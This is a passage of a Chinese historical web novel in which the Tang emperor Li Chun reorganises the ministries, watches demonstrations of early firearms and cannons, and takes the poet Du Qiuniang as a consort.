李纯心里那个气呀,自己要办那么多事,需要新的部门和大量人员来做,自己不想辞去旧人,重招新人,本来是想给原来的那些人留个饭碗。没想到这些人根本不领情,还想赖在闲职上过舒服日子,简直是岂有此理。
李纯真想像明朝皇帝那样,把**的大臣集中起来打板子,让他们受点磨难,但是转念一想,自己确实也有一些考虑不周的地方,应该想个综合解决的办法。
于是,李纯和李吉甫、裴垍一起,对大臣们提出的意见逐个分析,拿出几个有针对性的解决措施,减少不必要的阻力。
首先,太府寺正卿崔右甫等人反映的意见也有其合理性,太府寺、光禄寺、将作监均有很多服务皇家的职能,虽然自己生活节俭,但是皇家的财物也要有专人管理,皇家膳食和赏赐事务也要有个明确的去处,应进一步厘清各部门的职能。
李纯决定把太府寺的职能进行拆分,设立太府司,归入枢密院,负责皇家的钱财物资的管理,属于国家的物资管理职能全部划入户部,光禄寺关于皇家膳食部分归入内侍监尚膳处,取消匠作监、少府监为皇家制作赏赐用品的职能,由内侍监负责采买。
其次,在各部全面推行五人政务会制度,既可以安置一部分人员,也可以限制官员权力。
各部除设正三品的尚书为主官外,设正四品的左右侍郎两人,其中左侍郎分管监察和人事工作,监督政务会的运行,右侍郎作为尚书的业务副手开展工作,再添从四品的少卿两人,协助尚书做一些比较重要的工作,相当于尚书助理。
各部设立政务会后,要坚决贯彻朝廷的各项旨意、完成朝廷下达的各项工作,对于日常内部事务和其他重要事项,均要经过政务会研究,落实集体领导制度。各部由于是朝廷的办事部门,政务会在设置上与各道略有不同,每个部增设了两个少卿,也让多余的官员有了安置的岗位。
再次,开展竞争上岗,三个新组建的部门除了已经确定的尚书,其他所有岗位开展竞争上岗,由中书省按照空缺岗位由高到低,分批选人。
由中书省和吏部拟出一个各个岗位的意向人选,从侍郎开始,首先让一些官职较高的参加选岗,愿意干能干就先定岗,不愿干不能干的就轮空,然后再是少卿,再次进行选岗,再推到郎中、员外郎还有其他低阶小官。
在竞争上岗中,朝臣优先,地方上有意愿有能力的官员也可以参与,反正就是给你机会,你不干别人上,朝中没人干,地方官员可以参与竞争。
李吉甫、裴垍不得不佩服李纯的魄力,发出三个大招,有力回应了官员的意见。
第一条,把那些需要给皇家服务的职能剥离了,让他们有了出路,没了借口。
第二条既完善了政务会,加强集体领导,又增加了一些岗位,可以安置一些官员,属于软招。
第三条,给各个官员机会去选岗,干不了就轮空,你不干别人抢着干,看你还能不能顶到最后,属于硬招。
李纯说:“有些人不是说年龄大、能力弱吗?那就让他们退居二线,让其他人上。当然了这次也不要局限于这三个部,其他各部官员对岗位不满意的,都可以参与重新竞争上岗。”
李吉甫说:“这次又增加了一些岗位,相信大部分人只要想干,都有合适的岗位去做。”
裴垍说:“是该搞一次大规模的竞争上岗,不然有人还老觉得就他该当官,别人还要求着他去干,这次好了,不想干就挪窝。”
中书省拿着新的政策,再去征求官员的意见,形势就大不一样了。大部分官员唯恐自己再折腾,会饭碗不保,而且还多了一些少卿的位置,很多有些资历的郎中,都想挤破头去干。
还有些地方官员,听说朝廷多出一些岗位,要搞竞争上岗,也是跃跃欲试,纷纷向吏部报名。
两位宰相李吉甫、裴垍和吏部尚书韩愈商议了一下,还是尽量采取一些柔和的措施,尽量让大家都满意。
所以还是根据各个官员原来的级别,先拟制名单征求意见,首先解决侍郎、少卿的位置,再去确定郎中、员外郎,最后是其他属官。
平职调动的,只要本人愿干能干就可以,如果是升职,就要根据资历和能力竞争上岗,对于不愿到新职的大臣,中书省和吏部尽量采取劝说和照顾的方式予以协调。
最后确实解决不了的,中书省就只能报给李纯做决定。
这样一来,除了那六个卿监,其他中低层的都不敢有意见了,几个少卿、少监选择合适的岗位平调,有资历的郎中积极竞争余下的少卿位置,空缺的又有员外郎竞争,还有地方的官员参与竞争,想着入朝为官。
整个朝中的三省六部都动起来了,有进取想法的人,都想借机争取到自己心仪的岗位。
中书省和吏部前后折腾了半个多月,总算是把朝中各部的岗位调剂到位。原来的六部加新增的三部,共九个部,全部按照要求设置五人政务会,各增加两个少卿的位置,并对根据工作能力和个人意愿调剂岗位。
剩余的五寺两监一台,即司农寺、太常寺、卫尉寺、太仆寺、大理寺、国子监、都水监、御史台仍保持原来的人员和架构不变,防止人员一次性变动太大。
李纯觉得,司农寺管农业,大理寺管审案,都水监管水利,都是干实事的单位,卫尉寺前面已经提扩充了,目前没必要改。
太常寺、太仆寺、国子监、御史台,目前也各有职能,目前没有改的迫切性,计划等后续时机成熟了再改不迟。
机构改革还是要循序渐进,一下子增加太多职责,也没有那么多人才,新的部门熟悉岗位、培养人才也需要时间。
六个要动的卿监,鸿胪寺正卿赖正文最终还是不愿在元稹手下干侍郎,跑去礼部任左侍郎,原礼部左侍郎葛元礼愿意去外事部任左侍郎,太府寺正卿崔右甫到户部任右侍郎,接程异的缺,
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光禄寺正卿张西原没找到其他合适他的岗位,就去了门下省任门下侍郎。
其他三人均服从安排,匠作监正监肖时新任科工部左侍郎,军器监正监林文礼任科工部右侍郎,少府监正监江志平任工商部左侍郎。
元稹很高兴,他正看不上那两个老家伙,葛元礼跟自己关系还可以,又把原来的鸿胪寺少卿卢弘进推荐提拔起来任外事部右侍郎,卢弘进对他感恩戴德。
程异也乘机提拔心腹,推荐原户部郎中蔡江平担任工商部右侍郎。李绛看形势不对,也就不敢再作梗,老实去任科工部尚书,趁机推荐提拔了水军将领颜玮做战船司郎中。
新组建的外事部,原来主要由鸿胪寺、光禄寺的人员组成。鸿胪寺的人原来还算是搞外交的,用起来还行,光禄寺基本都是搞膳食的,什么情报、测绘、外贸简直是一窍不通,把元稹搞得是头大。
元稹思前想后,决定还是来个大调整。情报工作自然是基层人员更好用,从军队和州县抓了一帮人,搭起了架子,测绘就是更专业的事,元稹跑去李吉甫那里要人才,又从户部、工部那边搜刮了一下,抓了几个骨干过来。
至于外贸,就是监督、管理、统计一下,在鸿胪寺、光禄寺原有的班底选了一帮人,先干起来再说。好歹除了一些专业性的人才,还需要一些人事、礼仪、后勤之类的人员,这些事情通用性强,可以从其他岗位转过来。
至于剩下的光禄寺中只会做菜的,元稹干脆都打发去了内侍监,让李承闽去安置到尚膳处。
不管怎么调剂,毕竟这些人员原来的基础比较差,元稹赶紧让外事部的人员熟悉岗位、抓紧学习,尽量早日开展工作。
元稹知道,李纯第一个要用兵的是吐蕃,所以赶紧把培养的第一批骨干派到吐蕃一带,收集情报,争取早日作出一些成绩。
程异自从做了工商部尚书以后,心态发生了明显的变化。以前在户部的时候,总想着多收税,对李纯发展工商业的想法还理解不深。现在成了工商部的主事人,心里就是想着赶快振兴工商业,出点成绩。
税收跟程异无关了,所以他主动查找、撤销仍然存在的税卡,积极要求各地修整道路,方便商旅,促进商品流通。
对于长安城内人流较多、相对热闹的场所,程异也与京兆尹协调放开商业管控,允许开店、摆摊,扩大工商业营业范围。
科工部尚书李绛和两个侍郎,这次机构改革中都属于平职调动,没捞到什么便宜,干劲一般。
但是下面的四个司的郎中:郭云、颜玮、艾笛声、潘兴法,都是新官上任,干劲十足。
科工部主要由军器监、将作监人员组成,对于制造器物本来就比较熟悉,四个司八个员外郎都是两个监的官员担任,各个工匠手艺娴熟,用起来得心应手。
郭云利用新搞来的钨金冶炼技术,积极投入到研制枪炮的工作中,立志要搞出一些威力强大的枪炮。
颜玮从水军中来,知道战船的重要性,主导在平东军所在的润州,搞了一个造船厂,准备在以前战船的基础上改造一下,蒙上铁皮,设置火器,成为海上战舰。
艾笛声把织布机的全套技术都给了工商部,集中精力研究蒸汽机和火车,虽然难度巨大,但是逐步攻克难关,取得一些进展。
潘兴法以前知道如何烧砖瓦和石灰,对于如何烧制水泥不甚清楚,于是进宫向李纯请教,李纯也只告诉他,水泥是石灰石、铁矿石、粘土、石膏等东西粉碎以后烧制的,但是具体比例和烧制办法也是拿不准,潘兴法索性找了好几个师傅,按照不同比例和烧制办法,逐个去试验。
这次机构改革,枢密院增加了一个太府司,内侍监的职能也有所扩充。李承闽正愁原来的冗杂组不好安置,乘机扩充了尚膳处,新建了赏务处,普通的东西就自己制作,难搞的就指定给专门的店铺制作,算是安置了不少宫女太监。
看到机构改革总算顺利推进下去,新成立的三个部干劲十足,李纯也感觉松了一口气,期待他们在这三个领域打开局面,早点出成绩。李纯平时经常思考问题、看书读文、批改奏折,经常感觉头晕颈酸,就经常让太监给他按一下。
第53章 枪炮演示
李承闽作为内侍监总管,又兼着四品的枢密副使,感觉自己的这一切都是李纯给的,对李纯特别感恩。所以看到李纯看奏折有点乏了,就主动过来在李纯的脑袋和颈肩周围按摩一下,按的非常仔细。
按了一会,李纯觉得舒服了一些,就问道:“小李子,你干了有好几年了,现在知道内侍监的权力边界吗?”
李承闽回答道:“奴才认为内侍监就是管宫里的事,宫外关于皇上和皇家的事,就是枢密院管。”
李纯道:“差不多是这个意思,内侍监,就是管好宫里的事,宫外的事不要掺和,你们跟外面有联系的就是替朕准备和制作一些赏赐用品,还有就是招待一些大臣来宫内参加的宴请活动,你们会同枢密院保障好就行,这就是让你兼着枢密副使的理由,其他涉及朝政的,你们内侍监决不能参与。”
李承闽说:“奴才跟着皇上好几年,知道皇上要求严格,绝不敢造次。”
李纯道:“玄宗皇帝以后,就是皇帝给宦官的权力太大,才造成宦官为祸。朕限制宦官的权力,就是让你们专心做好宫里的事,不要跟那些朝臣搅在一起。涉及朝政的地方,朕都是尽量让枢密院去找中书省和各部去办,这样各自清净。”
李承闽说:“陛下这样做其实也是为我们好,奴才能够理解陛下的苦心,可是陛下也不能总考虑别人,独自苦了自己呀。”
李纯道:“你这话里有话呀,怎么个说法?”
李承闽说:“陛下都即位五年多了,吃用节俭不说,后宫也没再添人,皇上是不是考虑再纳一个妃子?”
李纯道:“今天你的胆子挺大,敢说纳妃的事,不过这也算后宫的事,不算干政,你觉得朕要纳个什么样的妃子呢?”
李承闽说:“以奴才的理解,自然是倾国倾城的美女,但是看陛下的精力主要花在朝政上,似乎只是漂亮还不能打动陛下的心。”
李纯道:“女人吧,如果只是漂亮,就是个绣花枕头,眼界、才华和内涵都具备,才能让朕欣赏。”
李承闽说:“按照陛下这个要求,全天下都没几个女人符合,皇上的标准确实高。”
李纯道:“如果只是漂亮就纳进后宫,搞上几十个美女进来,整天争宠吃醋,朕还不累死。朕还有很多正事要办,哪有功夫放在女人身上,目前这三个妃子已经够了。”
李承闽说:“奴才也帮陛下留意一下,如果哪天听到、遇到陛下说的那样好的女人,奴才就说给陛下听。”
李纯道:“没想到你还是有心人,这事随缘吧。”
长安的严冬是比较难熬的,好歹熬一熬还是过去了,转眼间到了来年二月,万物复苏,是该出去转转了。
李纯首先要去看的就是让他心心念念的火器,听说火器司用钨钢造出了了枪炮,李纯带上李吉甫、李绛和崔群,直奔郭云的火器工场。郭云早就带人把制作好的火器,拿到了演示场。
只见摆着不少枪炮,李纯看着就很高兴,就让拿一把枪来看看。
只见**的前面是一个**,后面安装有一个木质**,**的前段有个准星,后面有个缺口,便于瞄准,**的尾部有个点火孔,下面有个**,**连着一个小铁夹子,旁边是火绳,火绳一头系在**上,一头被夹子夹住。
李纯看出来了,有点像欧洲早期的火绳枪,于是让人演示一下。
只见一个士兵拿起枪,另一个人用火把将夹子一头的火绳点燃,拿枪的士兵掰开夹子,让火绳头离开点火孔,然后小心的往**里面加入**,然后再塞进一个**,再用一个细木棍将**和**捅实。
搞好后,士兵开始举枪瞄准前方约三十丈远的靶子,然后扣动**,夹子带着点燃的火绳压向点火孔,**内的**被点燃,“砰”的一声,枪内的**被射出,直接将远处的靶子击倒。
李纯对演示的效果很满意,但是也当场提出了疑问:
“**的射击效果不错,但是似乎速度比射箭要慢,火绳还要一直烧着,时间也有限,比起射箭优势不明显呀。”
郭云早有准备,回答道:“射箭需要很大的臂力,普通士兵射了几支箭两臂就发酸,所带的箭支也有限,一个好的弓箭手培养难度大,打仗时带上并射出十支箭就很厉害了,**使用简单,**手很好训练,一个**手可以带上并打出上百发的药量和**。而且我们可以分个两三波,轮流装弹射击,这样速度就比射箭快,主打一个量大管饱。”
李纯道:“你说的好,搞个轮流射击,就可以扬长避短,但是你们在枪上的准星缺口似乎是固定的,如果射击距离更远怎么办?”
郭云说:“我们按照三十丈设计的准星缺口,如果打远了,可以把枪口略微抬高一些。”
李纯道:“可以把缺口做高一些,每三十丈就在缺口两侧加上凸点,不同的距离,瞄准时就用缺口内不同的凸点卡住准星,这样就更精准一些。”
李绛说:“皇上这个办法好,火器司要赶紧落实。”
李纯道:“下面看看大炮吧。”
郭云于是命人拉来一个大炮,炮身有六尺长,直径约四寸,由精钢铸造,炮身下面有一对轮子,还连着铁制的两个炮腿,两个士兵拖着炮腿拉来大炮,而后放下炮腿,炮腿末端有两个圆孔。
炮拖到位后,一个小头目,估计是炮长,在炮身后侧对着目标调整方向,对准目标后,就让那两个士兵,用大锤把两个大铁钉通过炮腿末端的圆孔砸进地面,用以固定炮身,两个士兵又各拿来两个垫木放在轮子前后,防止炮身移动。
火炮固定以后,炮长让另外一个士兵搬来一个木墩放在炮身尾部下面,炮身尾部下面不是圆的,留出一块略微平整的地方,可以平稳的压在木墩上。
头目目估了一下目标,大概50丈,然后在后面那个士兵的配合下开始在炮尾后面垫木板,以调整炮口的高低,感觉差不多了。就让前面的那两个士兵往炮管里填**,塞进炮弹,最后也是用木杆捅实。
都准备好以后,炮长再瞄准查看了一下,让后面那个士兵用火把点燃炮身后侧的火绳,火绳燃尽后点着**,发出巨大的声音,炮弹飞速射出,射到50丈前的一个土墙上,土墙被打出一个大洞。
李纯问道:“怎么没有**,是实心弹吗?”
郭云回答:“是的,陛下,刚才是实心弹,可以轰击城墙,后面换成可以**的。”
于是刚才那几个士兵在炮长的指挥下换了一个带火绳的铁球,把火绳朝里塞进炮管里,然后对着目标略微调整炮身后,再次点燃火炮。
这次炮弹射出后,在土墙附近落地,停了一会**,土墙被炸塌了一段。
李纯问道:“大炮射击的远近怎么控制?如果更远怎么办?”
郭云回答:“如果条件可以允许,可以让人跑到目标那里,用测步的方式计算距离,然后再确定**的装量,远了就多装***。如果不能测步,就只能目估。”
李纯说道:“也是个办法,炮弹远了是不是留长一点火绳,让他多烧一会再**?”
郭云回答:“是的,我们会根据距离不同,塞进不同长度的火绳,一般都是略长一点,防止在半空中就**。”
李纯道:“你们在炮身后侧搞一个木墩调高低,不方便携带,可以研制一个升降机放在炮尾处,这样可以提高射击速度。”
郭云说:“那个只是权宜之计,后面我们肯定要搞个升降机,便于调整火炮高低。”
李纯觉得,在当时的条件下,能做到这样就不错了,尽管精确和威力度跟前世的大炮没法比,但是在唐朝已经属于先进武器,对于攻城和打击规模较大的部队,够用了,小目标可以用**打。
后面郭云又带人演示了飞射弹,用一个可以拆卸组装的架子发射。这个在上次的发明大会演示过,这次的改进了一下,射击距离更远一些,主要是在一些大炮难以拉上去的山地和丛林使用。
射击的精度比大炮差,但是好在于便于携带发射,对于远程大片目标,效果还不错。
再后面演示了新式的突**,射击威力比以前更大,有点**的效果。
李纯对这些火器的性能很满意,就问郭云:“这些火器大量制作了吗?给了军队多少?”
郭云说:“以前的铁**、陶罐**、突**,已经生产给军队不少,新式枪炮和***,生产的还不多,我们在长安的这个工场后面准备大规模生产,每个月计划生产*
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*1000支,突**300支,火炮50门,***200个,还有相应的**、炮弹。”
李纯算了一下,一年也就是声场12000支枪,3600支突**,600门火炮,2400发***,。一个军团是3万人,加起来只够装备一个军团的。
于是说道:“按照这个速度,肯定不够用,朕明年就要打吐蕃,至少三个军团参战,你这点武器哪够用?”
李绛说:“皇上,这个我来解释,我们计划在长安火器场的基础上,在宋州也建造一个火器场,产量和长安的差不多,两个月以后就可以投产,这样总的供应量可以翻一番,一年时间造出的火器武装两个军团都可以。而且我们以前制造的铁**、陶罐**和突**已经发给军队很多,而且打仗也不用全部用火器。攻坚突击时可以用火器,后续清缴部队也可以用刀枪弓箭。上次我们打河北三镇就是这样搞的。”
李纯道:“你说的也有道理,火器可以更新换代,分批武装,今年生产的火器就重点配给平蕃、平蛮、威西三个军团,其他军团少量配发一些,可以让他们先训练。”
李绛说:“好,我们就按陛下说的配发部队,战船司在润州开始制造一种新式战船,外面有铁皮保护,里面装上火炮,后面我们准备送过去一些火炮,把新式战船开到海上,试验一下效果。”
李纯道:“这很好,打吐蕃以后,对新罗、扶桑早晚也要动手,是要提前准备战船,我们一起去看看艾笛声的火车搞的怎么样了。”
一行人又跟着李纯,来到了城南科工部交通司的工场,艾笛声带着一群人正围着机器研究,听说皇上来了,赶忙出来迎接。
李纯看到场地上有很多机器,但是还是没有看到成型的火车,就问艾笛声:“你们的蒸汽机和火车搞的怎么样?”
艾笛声回答道:“蒸汽机是搞出来了,但是设计上还有欠缺,感觉很多能量有损失,这还是小事,目前卡在两个问题上,一是车轮的问题,如果用木轮,装不了多少东西,如果用铁轮车轴摩擦的厉害,跑不快。另外一个问题是造蒸汽机、火车、铁轨,都需要大量的钢铁,目前钢铁产量小,价格高,火车和铁路的造价太高。”
李纯道:“蒸汽机的设计可以优化一下,设计更好的气道,把喷出的蒸汽全部引进气道里,带着叶轮转动。火车肯定要用铁轮子,铁轮子就要用轴承,就是车轴和轮子之间有个润滑承接的地方,可以减少摩擦,让轮子转的很快。轴承的内圈和外圈之间塞满坚硬的钢珠或者钢柱,再抹进去大量的动物油脂,这样就可以让减少很多摩擦。”
艾笛声恍然大悟:“陛下这个思路很好,我光想着抹油,没想着在中间再塞一些钢珠或钢柱,搞出一个轴承,钢铁的数量和质量很重要,需要冶铁那边要给力。”
李纯对李吉甫说:“这个属于工商部的任务,你后面要通知李巽,让他近期把精力重要放在冶铁行业上,大规模的去找铁矿,改进冶铁技术,提高产量和质量,这是工商部今年的重要任务,以后修桥、修铁路,造机器都会大规模的使用钢铁。”
李纯又对艾笛声说:“你不要考虑成本问题,先想办法造出样品,让火车跑起来,后面再想办法降成本,造火车比造火器难一些,你们交通司要沉得住气,哪怕晚一些出成果都是很正常。”
李纯又带人去了临近的建筑司,潘兴法倒是有些进展,初步烧出了水泥,也能用,可以用来建房子,但是硬度不够,用来建比较重要的桥梁、高楼肯定不行。好在还不算很急,可以慢慢研究改进,也不是几个月就能搞定的。
过了几天,李纯又先后带人去了户部和工商部。
户部尚书李巽反映,撤去各地的税卡后,税收前两个月有所下降,但是商人看到取消税卡以后,做生意利润空间更大,也更方便很多,出来做生意的人更多了。
户部取消税卡以后,把重点放在买卖场所的征税,严厉打击**,征缴率上来了,加上交易量也增加了很多,目前每月税收已经超过过去的两成,后面估计还会增加。
李纯认为,只有搞活市场,方便商人做生意,百姓得实惠,朝廷增收入,都是意料之中的。
第54章 皇帝纳妃
工商部尚书程异反映,自己已经在想办法增加钢铁的产量,现在钢铁的需求量大,做冶铁作坊的很赚钱,很多作坊都在扩大规模。
有的冶铁作坊发现了一种叫做煤炭的东西,有点像黑色的石头,但是燃烧起来比木材火力更足,冶铁的效果也很好,很多作坊开始使用。
河东道一带,不少地方挖出煤炭,运出来卖给冶铁作坊。李纯表示,只要是市场行为都要予以支持,那些挖到煤炭和买卖煤炭的地方,可以让户部派人收税,朝廷又多一个收入。
经过长安的主要道路时,李纯明显发现长安的商业氛围浓厚了许多,除了原来的东市、西市以外,很多地方也开了店,售卖各种商品,居民可以就近买东西,省的跑去东市、西市。
商家多了,老百姓的选择也多了,谁家实惠买谁的,谁家方便买谁的,商户们是铆足了劲招揽生意,尽量提供优惠和便利。
外事部自然也是要去的,元稹是早有准备,拿了一张西部地区吐蕃兵力分布图给李纯,清晰的标示着吐蕃在各重要地点驻军数量,甚至还标上主将的名字,让李纯不禁对元稹刮目相看。
元稹还把对外贸易管理部起来,只让在几个重要的沿边、沿海城市允许外国人来经商,严格监管买卖的货物,不得买卖**、火器等严控物资,禁止外国商人到其他地方,防止他们窃取情报。
李纯认为,元稹的做法和自己想的不谋而合,选他去外事部是用对了。
当然,其他各部门,李纯也都先后去走了一下,询问开展工作的情况。总体来看,各部门还算积极进取,绝大多数官员都比较认真工作,努力完成李纯下达的任务。
进入到五月份,李藩报告说,长安到洛阳的道路全部修整完毕,百姓可以更加方便的来往于两个都市之间。道路已经开始向汴州和夏原延伸,多段同时动工,估计年底前可以修通到夏原。
李纯关心的几件大事都在有条不紊的进展,各部门也都能按照李纯的意图开展工作,不需要他太操心,日子稍微放松了一些。
这天,李承闽禀报,李吉甫和崔群要求见李纯,李纯还以为是朝政上有什么事,赶紧让他们进来。
行礼罢,李吉甫微微一笑说:“陛下今天难得清闲,我等就来叨扰一下。”
李纯听着口风有点不对,就说:“难道你们今天来,不是为了朝政的事?”
崔群接过来说:“陛下不要老是想着朝政的事,也要考虑一下自己的事。”
李纯一愣,问:“朕有什么事需要考虑?”
李吉甫说:“现在天下太平,人们的生活开始富足了,稍微有点钱的男人都是三妻四妾,连不少大臣都纳了好几个小妾,陛下自登基以来,后宫还没添人,我等臣工都觉得有愧呀。”
李纯笑了一下说:“我又不反对你们纳妾,你李吉甫精力旺盛,朕完全赞同你多纳几个小妾,只要你的身体吃得消就行。”
崔群说:“陛下不能跟他比,他家有母老虎坐镇,纳了两个就不敢再纳了。”
李纯也想趁机开个玩笑,说道:“还是崔群驭妻有道,妻妾成群,而且相处和谐。”
崔群说:“陛下莫取笑臣下,臣今天和李大人来,是想劝陛下再纳一个妃子。”
李纯道:“你们平时都是关心朝政,今天怎么关心起朕的私事起来,难道有人向你们传递消息?”说完看了看李承闽,李承闽连忙低下头。
崔群连忙解围说:“小李子也是为了陛下着想,跟我提过一次,我就跟李大人商议了一下,帮陛下物色了一个。”
李纯来了兴趣,问道:“是个什么样的,说来听听。”
李吉甫说:“陛下的要求比较高,我和崔大人私下物色了好几个月,一直没有遇到合适的,还是前段遇到了一个机缘。”
李纯问道:“遇到一个什么机缘?”
李吉甫说:“礼部郎中杜荀卿,有个妹妹才貌双全,可是因为眼界高,一直没有遇到合适的,已经22岁还没出嫁,我朝女子一般15岁左右就出嫁了,22已经是老姑娘了,他哥杜荀卿着急了,知道臣喜欢做月老之事,就求臣帮他物色一个妹婿。臣也听说他有一个出色的妹妹,就抽空到他府上一坐,见到他的妹妹,聊了几句,果然是才貌俱佳,有见识、有内涵,只是对男方要求也很高,竟然没有遇到合适的。臣在朝中官员子侄中,找了一圈也挑不到合适的,给别人做小妾,她又不愿意,臣猛然一想,她不正和陛下的要求吗?”
李纯笑道:“好你个李吉甫,居然把主意打到朕的身上来了,朕也是有了三个妃子,来了也相当于做妾呀。”
李吉甫说:“陛下怎么能跟我们这些臣子比,能到陛下身边是所有女人的荣幸。”
被李吉甫这么一撩拨,李纯还真有点心动了,打趣说道:“她有你说的那么好吗,杜荀卿的妹妹叫什么?”
李吉甫看有门,连忙说:“此女名叫杜秋娘,善于琴歌诗赋,要不让她给陛下以弹琴的名义,进宫一趟?”
李纯也想看看这个女子到底怎么样,就说:“你和崔群看着安排吧。”
李吉甫等的就是这句话,得到李纯的同意后和崔群含笑而去。
二人走后,李纯的心里也是涌起一阵波澜。哪个男人没有七情六欲,谁能真正做到清心寡欲,只是前面自己要做的事情太多了,没有心思想这男女之事,还有三个妃子需要应付,就暂时断了纳妃的想法。
后宫的三个女人,郭贵妃出身将门,人长得不错,也颇有见地,但是夫妻间的共同语言不多,虽相敬如宾,但似乎少了一些亲密。
纪妃温柔贤惠,老实本分,但是见识一般,不善于言辞,聊的也不多。
刘嫔出身底层,见识浅薄,虽然喜欢说话,但是都是些家常琐事,自己更是不愿多搭理。
虽然皇权至高无上,自己随便就可以找一个,但是那些庸脂俗粉,不要也罢,何况自己心中要办的事太多,也不愿在女人身上多花精力,就一直没有再纳妃。
那天自己随口提一句,没想到李承闽竟记下来了,两个心腹大臣也积极参与此事,倒是让他有点动心了。
三天后,李吉甫和崔群带着杜秋娘,以给皇上弹琴的名义,来到宫中。
杜秋娘能琴善歌,施礼坐下后,就开始边弹边唱。
只听琴音靡靡,又似林中清音,淡雅柔润,沁人心脾,弹了一会,传来杜秋娘清丽的歌声:“劝君莫惜金缕衣,劝君惜取少年时,花开堪折直须折,莫待无花空折枝。”
琴声曲调婉转,歌声似含着幽怨,又似隐着期待,让人浮想联翩、泛起情丝,不能自已。
再看她的容颜,不逊于扬州的李端端,少了一份娇艳妩媚,多了几分端庄秀美,举止从容,落落大方,带着些许淡定优雅。
一曲弹罢,李纯说道:“琴弹的不错,歌唱的也很好,歌词是谁所做?”
杜秋娘从容答道:“禀陛下,是小女子自己所做。”
李纯想,果然有几分才华,便问:“你平时喜欢写诗吗?”
杜秋娘答道:“民女自幼喜欢跟着哥哥读书,尤其喜欢诗词歌赋,平时自己也会写一些。”
李纯又问:“你也算才貌双全,为何当初没找合适的人嫁了?”
杜秋娘说:“民女不才,但因诗书读的多了,便也想着找一个满腹才华、英姿绝伦的伟男子,不愿随意将就。”
靠,也是一个高眼光的大龄剩女,但李纯还是笑着说:
“不错,人就是要有一些追求和想法。今天琴弹的很好,歌词写的也不错,朕送你一首诗,也可以作为歌词。”
说罢,他让人拿来纸笔,从容写出一首诗:
桃花绽放迎春到,芬芳香浓沁人间。
应惜花枝莫须折,来年花开更娇艳。
杜秋娘看到这首诗,是应了刚才她唱的歌词,欣喜不已,拜谢后接过这首诗。
杜秋娘接过诗稿的时候,还碰到了李纯的手,柔肌嫩肤的绵滑感,让李纯体会到不同寻常的感觉,有点心猿意马拿起来。
杜秋娘接过诗稿后,含羞低眉、脸颊绯红,更有一番婉约秀丽之美。
李纯怕继续相处下去会有点尴尬,于是示意崔群带着杜秋娘出宫,派人送她回家。
李吉甫则趁机问道:“陛下,觉得这个杜秋娘怎么样?”
李纯道:“不错是不错,但朕可不算满腹才华、英姿绝伦的伟男子,怕是也
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达不到她的要求。”
李吉甫说:“陛下就别卖关子了,刚才还送她诗呢,分明是看上人家了,再说,天下还有哪个男子还能比得上陛下英姿绝伦?”
这马屁拍的,还没法反驳,谁敢说自己比皇帝更优秀?
李纯道:“按你这么一说,我还非要不可了?”
李吉甫说:“陛下不是爱民吗,杜秋娘也是一个民女,你要不爱,她就嫁不出去了,陛下可不能不管呀。”
怎么感觉成了接锅侠,不过这个锅还不错,呵呵。
李纯道:“我也想勉为其难接受,就怕其他三个妃子有意见。”
李吉甫说:“陛下登基六年才纳一个妃子,她们就有意见,如果像以前的皇帝,纳的都是几十上百?那后妃们岂不是要跳河?”
李纯道:“那你也得问问人家杜秋娘呀,总不能强娶吧。”
李吉甫说:“臣明天就去杜荀卿那里问问情况,如果皇上都不想嫁,那就活该做一辈子老闺女。”
话都说到这个份上,李纯还能说什么?只能由着李吉甫去安排。杜荀卿兄妹还能怎么想,杜荀卿自然是想跟皇帝拉上关系,杜秋娘眼看都快嫁不出去了,碰到一个这么好的机会,早就芳心暗许了。
妹子能嫁到皇宫,杜荀卿自然是求之不得,对李吉甫是千恩万谢。杜秋娘也早已知道李纯是个有能力、有作为的皇帝,也就比她大了十来岁,在当时属于比较正好的年龄,当即含羞答应。
不久后,杜秋娘正式入宫,被封为杜美人,从此李纯的生活中多了一个红颜知己,多了一份柔情蜜意。
杜美人入宫以后,李纯感觉她确实比前面的三个嫔妃更加年轻靓丽、满腹才情,有着特有的魅力,引得李纯经常晚上到她那里去,两人是缠绵悱恻,李纯差点沉醉其中。
不过,李纯很快清醒过来,加上其他三个嫔妃意见很大,后面他就减少了晚上去杜美人那里的次数。
李纯欣赏杜美人的才情,白天忙完朝政,有时可以去她那听听轻松淡雅的琴声,也可以和杜秋娘聊聊诗词歌赋,甚至可以一吐心中的烦闷,感觉身心放松了不少。
杜美人入宫满一个月时,两人都觉得该写诗纪念一下,李纯于是决定泡一壶好茶,约定两人各写一首诗,谁写的更好,谁可以先喝第一杯茶。
杜美人年轻一些,才思敏捷,好胜心更强,略微思考了一阵,就写出一首诗:
咏梅
冬来百花尽凋落,梅花傲雪独自开。
黄蕊粉瓣开无主,凌寒幽散暗香来。
孤芳自赏空寂寞,只待有缘人来采。
君王英姿堪绝伦,花自飞落投入怀。
李纯认真看了一下,果然是首好诗,既是写梅花,也是写人的心境与缘分,巧妙地把两人的姻缘结合写进去,还顺道赞扬了自己一番,不愧是个女才人。
既然爱妃都写出来了,自己也不能认怂,干脆就顺着这首诗的主题的意境,再续写一首,李纯沉吟了一会,写道:
赞梅
秋娘如梅品高洁,寒冬绽放展俏艳。
花枝纤弱缀红瓣,风吹摇曳使人怜。
心慕此花踏雪来,千里姻缘遥相牵。
卿更胜梅惹人爱,朝思暮想倾心恋。
李纯把诗写好以后,杜美人赶紧走过来看,发现李纯在诗中把自己夸的那么好,还表达了浓浓的爱恋之情,心中欢喜不已。
两人都写出了诗,到底谁的更好呢,李纯和杜美人都觉得对方写的好,互相谦让起来。最后,他们觉得这两首诗其实不相上下,由于杜美人先写出来,于是算杜美人赢。
于是,按照规矩,杜美人喝了第一杯茶,李纯喝了第二杯茶。他们喝的是湖州进贡的顾渚紫笋,喝起来滋舌润喉、香气清雅,让人很享受。
李纯感觉此时的情景,挺有点像李清照与赵明诚之间的“赌书消得泼茶香”,心中又多了一份难得的温馨。
当然,温馨的场景总是有限的,还有一大堆朝政等着李纯去处理,李纯还有宏大的理想要去实现,就没空再跟杜美人写诗品茶。
一年之后,杜秋娘为李纯生下皇子李凑,李纯对他们母子更多了一份喜爱,正式封杜秋娘为妃,称为杜妃或杜秋妃。
第55章 文达科兴
自元和四年朝廷扫平藩镇,后面又大力发展经济,国家的实力逐步强大。到了元和六年,在朝廷的引导和促进下,唐朝的文化也逐渐兴盛起来,逐步迎来一个繁荣时期。
